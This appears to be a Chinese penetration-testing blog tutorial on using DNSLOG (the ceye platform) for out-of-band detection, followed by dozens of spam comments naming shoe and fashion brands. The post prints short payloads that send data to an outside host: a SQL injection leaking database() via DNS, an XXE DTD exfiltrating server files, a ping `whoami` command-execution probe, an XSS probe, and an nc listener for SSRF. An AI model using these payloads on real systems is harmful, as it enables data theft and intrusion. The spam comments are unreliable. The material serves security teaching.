Walks

网络安全爱好者

DNSLOG在渗透中的妙用

前言:

DNSLOG可能有些人对这个有点陌生,但这真是个十分强大的渗透技巧,这篇文章就是叙述DNSLOG在渗透中的强大之处,相信对这个了解不多的看了之后会觉得受益良多。

首先先简单的介绍一下DNSLOG,抽象的语言就不多说,用我自己的思路就是当我们拥有一个二级域名,例如bywalks.com,然后请求三级域名,例如dnstest.bywalks.com,DNS解析时,

会把访问三级域名的日记传给二级域名。

有个基于DNSLOG记录的ceye平台,感兴趣的可以去看看。

下面就是DNSLOG在各种情况下的使用


目录:

0x01:注入

0x02:SSRF

0x03:XXE

0x04:命令执行

0x05:XSS

0x06:总结




DNSLOG 注入

    当我们遇到盲注的时候,大家的常规思路是什么?无非两种,一延时,二基于内容特征。而这两种方法都是一个字符一个字符的判断,效率很低。

    但有了DNSLOG可就不一样了。当遇到盲注的时候,我们可以用这样的PAYLOAD。

load_file(concat('\\\\',(select database()),'.bywalks.ceye.io\\bywalks'))

    在这里我们需要了解load_file是可以发送DNS请求的。

    所以就等同于访问了database().bywalks.ceye.io,然后我们的ceye平台就会有记录,那么database()是不是就得到了呢?这种方法比逐字判断是要方便很多吧。

    接下来注入就是库表列了。语句自由组合。

   

     DNSLOG SSRF

    当我们遇到SSRF的时候,例如ImageUrl=XXX这种,可以吧XXX换成127.0.0.1:80,127.0.0.1:81等,看返回值的情况判断是否存在SSRF,也可以用NC -lvvp 8888监听本地8888端口,然后ImageUrl=http://Your-Ip:8888来

    观察是否存在SSRF。

    同时,我们也可以用基于DNSLOG的ceye来观察是否存在SSRF,我们可以把XXX换成bywalks.ceye.io,然后看我们的ceye平台是否有服务器的IP来判断。

    

    DNSLOG XXE

    当我们遇到XXE,如果这个XXE漏洞可以解析外部实体,那么不用说,就可以拿来读取本地服务器文件,这时,我们只需把dtd文件改成这样

<!ENTITY % all
"<!ENTITY &#x25; send SYSTEM 'http://bywalks.ceye.io/%file;'>"
>
%all;

    在我们的ceye平台就可以接收到这个读取的服务器文件了。

    当安全维护人员对服务器做了安全防护,使XXE不可以解析外部实体,但是<?xml version='1.0'?>这种任然是从前台直接传递的时候,依旧是存在SSRF漏洞。所以对XXE的安全防护是必须严格化的。

    

    DNSLOG 命令执行

    在ceye平台是有着这样一个payload:

Linux:
curl 

windows: 
ping `whoami`.ip.port.bywalks.ceye.io

    也就是当命令执行无回显的时候,我们就可以使用基于DNSLOG的ceye来获取我们想要的数据

    

    DNSLOG XSS

    Payload:

"><img src=x onerror=http://bywalks.ceye.io>

    可以用来判断是否存在XSS

    

    总结

    1:主要实用的情况,盲注提高效率

    2:主要使用的情况,在命令执行无回显,SSRF,XXE判断等通过下使用。关键在于无回显时。

点赞
  1. yeezy boost 350说道:

    I needed to compose you a tiny observation so as to say thanks a lot as before about the remarkable methods you've documented at this time. It's certainly remarkably generous with people like you to allow openly what many of us could have made available for an e book to generate some bucks for their own end, most notably now that you could possibly have done it in the event you considered necessary. Those inspiring ideas as well served to become easy way to be certain that some people have the same dream similar to my own to learn a little more regarding this condition. I am sure there are a lot more pleasant sessions in the future for people who look over your site.

  2. supreme hoodie说道:

    I definitely wanted to construct a quick remark in order to appreciate you for some of the unique steps you are giving at this site. My considerable internet research has finally been compensated with wonderful suggestions to share with my friends. I 'd repeat that many of us readers actually are extremely endowed to exist in a fantastic place with many outstanding professionals with insightful hints. I feel truly blessed to have used your entire web site and look forward to many more pleasurable moments reading here. Thank you once again for everything.

  3. Thank you a lot for providing individuals with an exceptionally breathtaking possiblity to read articles and blog posts from this web site. It really is so enjoyable and as well , stuffed with fun for me personally and my office co-workers to search the blog at the least three times in one week to read through the newest stuff you have got. Of course, we're actually amazed considering the good concepts you serve. Certain 3 facts in this article are indeed the finest I've ever had.

  4. yeezy 700说道:

    I in addition to my buddies were reviewing the nice recommendations from your website while suddenly I got an awful feeling I had not expressed respect to you for them. All of the ladies are actually for this reason stimulated to read them and have in effect really been using those things. We appreciate you genuinely quite accommodating as well as for settling on some ideal subjects most people are really desperate to discover. My personal sincere regret for not saying thanks to you earlier.

  5. nike epic react说道:

    I and also my guys were found to be following the best suggestions on your site then instantly I got a terrible suspicion I never thanked the web site owner for those strategies. Those ladies were as a consequence excited to learn them and have now actually been having fun with them. Many thanks for actually being indeed accommodating and for obtaining varieties of smart guides most people are really needing to discover. My personal sincere apologies for not expressing appreciation to you earlier.

  6. pandora bracelet说道:

    I really wanted to post a message so as to thank you for some of the amazing guides you are showing on this site. My considerable internet look up has at the end been honored with wonderful suggestions to exchange with my friends and classmates. I 'd declare that most of us website visitors are very much blessed to live in a notable community with very many outstanding professionals with beneficial solutions. I feel very much grateful to have discovered your site and look forward to really more fabulous minutes reading here. Thanks again for everything.

  7. timberland shoes说道:

    Thank you for all of your work on this blog. Ellie take interest in conducting investigation and it's really easy to see why. Most people know all about the powerful mode you provide advantageous guidelines via this web blog and welcome response from other individuals on the content then our child has always been discovering a great deal. Enjoy the remaining portion of the new year. You're conducting a glorious job.

  8. curry 4说道:

    I must express my appreciation to this writer for bailing me out of this trouble. Because of looking through the search engines and seeing views which are not pleasant, I was thinking my life was well over. Existing minus the strategies to the difficulties you've solved by means of the post is a crucial case, and the ones which might have adversely affected my career if I hadn't discovered the website. Your good capability and kindness in taking care of all things was helpful. I don't know what I would have done if I hadn't come across such a solution like this. I can also at this point look ahead to my future. Thanks for your time very much for this skilled and effective guide. I won't think twice to recommend your web site to anyone who would need guidance on this issue.

  9. I would like to voice my admiration for your kind-heartedness in support of women who require help on this area. Your very own commitment to getting the message across came to be pretty effective and have regularly made others just like me to achieve their ambitions. Your personal helpful useful information means a whole lot a person like me and far more to my fellow workers. Best wishes; from each one of us.

  10. tory burch说道:

    I simply had to thank you so much all over again. I'm not certain the things that I would've followed without these tips and hints provided by you concerning this industry. This has been a daunting dilemma in my opinion, however , considering the very expert approach you solved it made me to leap for fulfillment. I'm just happier for the information and in addition have high hopes you comprehend what an amazing job you have been providing instructing others through a web site. I'm certain you have never got to know all of us.

  11. moncler jackets说道:

    Thank you so much for providing individuals with such a splendid opportunity to read in detail from this site. It's always so lovely plus full of a great time for me and my office peers to search your website not less than 3 times in a week to learn the fresh guidance you have got. And definitely, I'm at all times fascinated for the good principles served by you. Certain 2 ideas on this page are essentially the most suitable we have ever had.

  12. cheap jordans说道:

    My husband and i ended up being satisfied Raymond managed to conclude his web research while using the ideas he gained when using the web site. It's not at all simplistic to simply choose to be making a gift of tips that other folks may have been trying to sell. And we also recognize we now have you to thank for that. The type of explanations you've made, the simple web site menu, the relationships you make it possible to create - it's got many terrific, and it's leading our son and the family know that this theme is interesting, and that is rather fundamental. Many thanks for all the pieces!

  13. golden goose说道:

    Thank you for all your valuable work on this web page. My aunt takes pleasure in managing investigations and it's really easy to see why. Almost all hear all of the compelling means you deliver worthwhile strategies via the blog and even encourage participation from visitors on this subject matter plus our simple princess is in fact learning a lot of things. Enjoy the remaining portion of the year. You're carrying out a really great job.

  14. Thanks for your own effort on this site. My mom take interest in going through internet research and it's easy to see why. We all hear all concerning the powerful medium you offer priceless thoughts via this website and as well encourage participation from other people on the theme while our daughter is undoubtedly learning a lot. Have fun with the remaining portion of the new year. You are always doing a stunning job.

  15. adidas yeezy说道:

    I truly wanted to post a message so as to express gratitude to you for the marvelous pointers you are giving out on this site. My long internet investigation has at the end of the day been honored with reliable ideas to share with my family and friends. I would mention that many of us readers are definitely lucky to be in a decent network with many brilliant professionals with very helpful concepts. I feel pretty happy to have discovered your weblog and look forward to many more pleasurable times reading here. Thank you again for everything.

  16. I would like to express my appreciation to the writer just for bailing me out of this crisis. Just after surfing around through the world-wide-web and finding thoughts that were not beneficial, I assumed my life was gone. Existing without the presence of approaches to the issues you have solved through your good posting is a crucial case, as well as the kind that might have badly affected my entire career if I hadn't come across your blog. The understanding and kindness in dealing with every aspect was crucial. I'm not sure what I would have done if I had not come across such a stuff like this. I am able to at this moment look forward to my future. Thanks for your time very much for this skilled and results-oriented help. I won't hesitate to refer your web sites to any individual who would like guidelines on this matter.

  17. ultra boost 3.0说道:

    I wanted to create you this very small note in order to give many thanks the moment again just for the pleasing techniques you've shared on this page. It's really tremendously generous of people like you to present extensively what exactly many people might have marketed as an e-book to earn some dough for themselves, mostly considering that you might well have done it if you ever wanted. These ideas additionally worked as a good way to realize that the rest have a similar eagerness just like my very own to find out whole lot more with regards to this matter. Certainly there are lots of more fun times ahead for people who go through your website.

  18. links of london说道:

    My spouse and i ended up being so comfortable Michael could complete his preliminary research out of the ideas he was given through the blog. It's not at all simplistic just to always be giving out guidance that some others may have been selling. We take into account we now have the website owner to be grateful to for that. Most of the explanations you've made, the easy blog navigation, the friendships your site make it possible to foster - it is most fantastic, and it is letting our son in addition to our family feel that this topic is awesome, which is very indispensable. Many thanks for the whole thing!

  19. I wish to show thanks to you for rescuing me from this type of situation. Right after researching throughout the world wide web and getting ideas which were not productive, I was thinking my entire life was well over. Existing devoid of the answers to the issues you've sorted out as a result of your entire guide is a critical case, and the ones that could have negatively affected my entire career if I hadn't come across your site. Your competence and kindness in touching all the pieces was priceless. I don't know what I would've done if I hadn't encountered such a point like this. I am able to at this time look ahead to my future. Thanks so much for the professional and results-oriented guide. I will not hesitate to recommend your web page to any person who desires guide on this problem.

  20. adidas nmd r1说道:

    I wanted to write you one little bit of word in order to say thank you once again just for the awesome views you've contributed on this website. This has been so unbelievably generous with you in giving publicly precisely what most people might have offered as an ebook to help with making some bucks for their own end, especially given that you might well have done it in case you considered necessary. Those things likewise acted like a easy way to recognize that other people have similar passion similar to my very own to know a great deal more in terms of this matter. I'm sure there are thousands of more pleasant periods up front for individuals who check out your blog.

  21. ultra boost说道:

    I am only commenting to make you be aware of of the great encounter my wife's daughter obtained viewing your webblog. She discovered many issues, including what it is like to possess an ideal giving mood to get others without hassle learn selected very confusing things. You actually surpassed visitors' expectations. Many thanks for producing such important, dependable, revealing and unique tips on the topic to Kate.

  22. cheap jordans说道:

    I wanted to put you this very little remark to finally give thanks over again regarding the wonderful information you've featured above. It was so extremely open-handed with people like you in giving unhampered all that many people would've marketed as an electronic book to generate some dough for their own end, specifically seeing that you could have done it if you ever wanted. Those points also served to become good way to be sure that someone else have the same fervor much like mine to learn many more in respect of this issue. I think there are a lot more pleasant situations in the future for individuals that examine your blog post.

  23. jordan retro说道:

    I not to mention my pals appeared to be looking at the best hints located on your website and then suddenly came up with an awful suspicion I never expressed respect to the web site owner for those strategies. The guys ended up so glad to learn them and have in actuality been having fun with those things. We appreciate you being quite kind as well as for pick out this sort of quality subjects millions of individuals are really wanting to be informed on. My honest apologies for not expressing appreciation to earlier.

  24. kyrie shoes说道:

    I wish to show some thanks to the writer for bailing me out of such a difficulty. Because of surfing through the internet and getting tricks which were not pleasant, I thought my entire life was well over. Living devoid of the solutions to the issues you have sorted out through your main site is a critical case, as well as ones which might have badly affected my entire career if I hadn't come across your website. The knowledge and kindness in dealing with a lot of stuff was valuable. I am not sure what I would have done if I had not come across such a stuff like this. I can at this point look forward to my future. Thanks very much for this impressive and sensible guide. I won't hesitate to endorse the website to any individual who will need assistance about this subject matter.

  25. jordan 12说道:

    I must show my gratitude for your generosity supporting those who should have help on the matter. Your real commitment to getting the solution all around had become astonishingly helpful and have specifically empowered guys like me to arrive at their dreams. Your warm and friendly key points indicates so much a person like me and especially to my peers. Regards; from everyone of us.

  26. moncler sale说道:

    I simply wanted to post a brief word to appreciate you for some of the pleasant pointers you are showing here. My prolonged internet lookup has now been honored with reputable knowledge to go over with my family members. I would express that many of us visitors actually are really endowed to exist in a fantastic site with many awesome people with very beneficial tactics. I feel quite blessed to have discovered your entire webpage and look forward to so many more fun moments reading here. Thank you once more for everything.

  27. hermes birkin说道:

    I'm commenting to let you understand what a fantastic discovery our child developed going through your web page. She noticed numerous details, which included what it is like to have an awesome teaching spirit to make the rest without hassle understand certain tricky topics. You truly did more than people's desires. Thanks for supplying the valuable, healthy, educational and as well as cool tips about your topic to Tanya.

  28. adidas superstar说道:

    I happen to be commenting to let you understand of the remarkable experience our girl found browsing the blog. She noticed many things, which included how it is like to have an incredible helping mindset to make many more really easily master several problematic issues. You truly exceeded our own expectations. Many thanks for rendering the practical, safe, edifying as well as cool thoughts on this topic to Lizeth.

  29. Thank you for all your efforts on this web site. Kate take interest in going through investigation and it's really obvious why. Many of us hear all regarding the dynamic mode you give precious information via this web site and even attract contribution from other ones on that idea plus our favorite daughter is actually starting to learn a whole lot. Take advantage of the rest of the year. You're carrying out a brilliant job.

  30. yeezy boost 350说道:

    I together with my guys have been checking the great tips and hints found on your website while the sudden I got an awful suspicion I had not expressed respect to you for those strategies. My young boys are already totally thrilled to see them and have in effect extremely been tapping into them. Appreciation for truly being really helpful and then for deciding on variety of perfect useful guides most people are really wanting to understand about. My personal honest regret for not expressing gratitude to you earlier.

  31. I would like to show thanks to you just for bailing me out of this circumstance. Just after looking through the internet and seeing opinions which are not powerful, I figured my life was done. Living minus the approaches to the problems you have sorted out by way of your entire short post is a serious case, and ones which could have in a wrong way damaged my entire career if I had not noticed your web blog. Your own personal knowledge and kindness in maneuvering the whole thing was vital. I'm not sure what I would've done if I had not come upon such a thing like this. I am able to at this moment look ahead to my future. Thanks for your time so much for your skilled and effective help. I will not be reluctant to suggest your site to anybody who would need guidance on this area.

  32. kd shoes说道:

    My spouse and i were now delighted Louis could finish off his investigation through your precious recommendations he was given from your very own site. It is now and again perplexing to just always be offering information and facts that others could have been selling. And we all recognize we now have you to appreciate for that. The main explanations you've made, the straightforward web site menu, the friendships your site give support to engender - it's got everything superb, and it's assisting our son and the family reason why the matter is fun, which is highly serious. Thank you for all!

  33. ysl说道:

    Thanks a lot for providing individuals with an extremely terrific opportunity to read in detail from this web site. It's usually very amazing and also jam-packed with fun for me personally and my office colleagues to search the blog a minimum of 3 times in a week to read through the fresh secrets you have. Of course, I'm so certainly fulfilled with your magnificent information you give. Selected 3 tips on this page are in truth the most effective we have had.

  34. ferragamo belts说道:

    Thank you a lot for giving everyone remarkably brilliant chance to read from this site. It is often so sweet and also stuffed with fun for me personally and my office acquaintances to search your site really thrice a week to study the fresh secrets you have. Not to mention, we're at all times motivated with your extraordinary things you give. Selected 3 facts in this posting are surely the best we have all ever had.

  35. I precisely needed to thank you so much all over again. I'm not certain the things I would have accomplished without the solutions revealed by you on this area. It had become a very horrifying concern for me personally, however , witnessing a specialized approach you managed that took me to leap for joy. Now i am happier for the information as well as trust you really know what a powerful job that you're carrying out educating people thru your blog post. I know that you haven't come across any of us.

  36. off white说道:

    I precisely had to thank you very much once again. I do not know the things I could possibly have undertaken without the pointers provided by you about that field. It has been the frightful matter in my opinion, but looking at the specialised strategy you handled it took me to leap with happiness. I will be thankful for the assistance as well as pray you find out what an amazing job you are putting in instructing the others through your blog post. Most probably you've never come across any of us.

  37. yeezy shoes说道:

    I simply wanted to say thanks yet again. I do not know what I might have implemented in the absence of the actual recommendations contributed by you about that area. It had become an absolute horrifying crisis for me, but witnessing a new specialised manner you treated that took me to cry over happiness. I am grateful for this information and wish you realize what a powerful job that you are accomplishing educating people today all through a blog. I know that you have never met all of us.

  38. curry 5说道:

    I want to show my appreciation to the writer for rescuing me from this type of incident. Because of looking throughout the internet and obtaining methods which are not helpful, I assumed my entire life was done. Existing minus the answers to the issues you have fixed as a result of the blog post is a crucial case, and ones which might have adversely damaged my career if I had not encountered the website. Your personal talents and kindness in playing with every aspect was valuable. I am not sure what I would've done if I had not come across such a thing like this. I can at this time relish my future. Thanks a lot very much for your specialized and effective guide. I won't be reluctant to refer your web sites to any individual who needs and wants assistance about this issue.

  39. yeezy boost 350说道:

    I definitely wanted to construct a brief remark to appreciate you for some of the wonderful facts you are posting at this website. My time consuming internet look up has at the end been recognized with good tips to write about with my pals. I would repeat that many of us visitors actually are definitely lucky to exist in a perfect site with so many awesome people with interesting concepts. I feel really blessed to have used your entire web site and look forward to so many more amazing times reading here. Thanks a lot again for a lot of things.

  40. I have to show thanks to this writer just for rescuing me from this type of circumstance. Right after exploring throughout the the net and meeting concepts which are not beneficial, I thought my entire life was well over. Existing without the solutions to the difficulties you have sorted out all through the article content is a serious case, and the kind that could have badly affected my entire career if I hadn't encountered the blog. Your primary training and kindness in dealing with all the stuff was excellent. I'm not sure what I would've done if I had not encountered such a stuff like this. I am able to at this moment look ahead to my future. Thank you very much for the skilled and amazing guide. I will not be reluctant to refer your web blog to any person who will need direction about this situation.

  41. Thank you so much for giving everyone a very splendid opportunity to read articles and blog posts from this web site. It's usually so pleasurable and as well , jam-packed with fun for me and my office acquaintances to search your website on the least thrice weekly to read through the new tips you have. Not to mention, I'm just actually satisfied concerning the incredible information you give. Selected two points in this article are certainly the most efficient we've had.

  42. I want to show some appreciation to the writer for bailing me out of this particular situation. Because of surfing through the online world and getting methods which are not beneficial, I thought my life was done. Existing without the answers to the issues you've fixed all through your main report is a crucial case, and ones that could have negatively affected my entire career if I hadn't discovered your web page. Your main talents and kindness in maneuvering everything was valuable. I am not sure what I would have done if I hadn't come across such a point like this. I am able to at this moment look ahead to my future. Thanks a lot very much for this expert and results-oriented help. I won't think twice to refer your web sites to anyone who ought to have guide about this issue.

  43. vans shoes说道:

    I'm also writing to make you be aware of what a incredible discovery my wife's daughter found reading through your webblog. She came to understand too many pieces, with the inclusion of what it's like to have a wonderful helping heart to make certain people without problems gain knowledge of a variety of grueling subject areas. You undoubtedly surpassed visitors' expected results. I appreciate you for coming up with these good, trusted, informative and even easy tips about this topic to Janet.

  44. I am also commenting to let you know what a nice experience my wife's daughter had visiting the blog. She picked up a wide variety of details, with the inclusion of how it is like to have an incredible giving nature to let the others clearly have an understanding of a variety of grueling subject matter. You truly surpassed people's expected results. I appreciate you for coming up with those effective, trustworthy, revealing not to mention easy tips on the topic to Emily.

  45. adidas zx flux说道:

    I precisely needed to say thanks again. I'm not certain the things I might have implemented without the entire thoughts revealed by you about this area. It was a frightening issue for me personally, but noticing this specialized mode you processed that took me to weep for contentment. I'm happier for your information and in addition wish you really know what a powerful job your are undertaking teaching the others by way of your web blog. Most likely you've never met any of us.

  46. air max说道:

    A lot of thanks for all your labor on this blog. Kate takes pleasure in setting aside time for research and it's really easy to see why. Many of us learn all regarding the dynamic method you present invaluable thoughts via the web blog and in addition increase response from other people on the content so our daughter is truly discovering a lot of things. Have fun with the rest of the new year. You are always doing a splendid job.

  47. adidas nmd说道:

    I and my pals happened to be looking at the great tips and tricks located on your website while unexpectedly I got an awful feeling I never expressed respect to the web blog owner for them. Most of the young men are already so warmed to read through them and already have really been taking advantage of these things. Many thanks for actually being simply thoughtful and also for picking out varieties of incredibly good areas most people are really desirous to be aware of. My sincere regret for not expressing appreciation to you sooner.

  48. kobe 11说道:

    I want to get across my love for your generosity supporting people that absolutely need help on that idea. Your real commitment to passing the solution along appeared to be definitely good and has truly allowed ladies like me to realize their goals. The warm and helpful suggestions denotes much to me and a whole lot more to my fellow workers. With thanks; from everyone of us.

  49. I simply wanted to appreciate you yet again. I'm not certain what I might have undertaken in the absence of the entire techniques discussed by you concerning that question. This has been a traumatic concern for me personally, but being able to view a skilled way you solved the issue made me to leap over gladness. Now i'm thankful for this support as well as hope you really know what a great job you are carrying out training the rest by way of your blog post. Most likely you've never encountered all of us.

  50. nike sneakers说道:

    My husband and i got contented that Emmanuel could do his research through your precious recommendations he was given using your web page. It's not at all simplistic just to possibly be handing out secrets and techniques which usually the others have been selling. And we also realize we need the blog owner to give thanks to for that. The explanations you have made, the simple website navigation, the relationships you can make it easier to foster - it's got everything incredible, and it is letting our son in addition to our family reason why the theme is satisfying, and that's seriously vital. Thanks for all!

发表评论

电子邮件地址不会被公开。 必填项已用*标注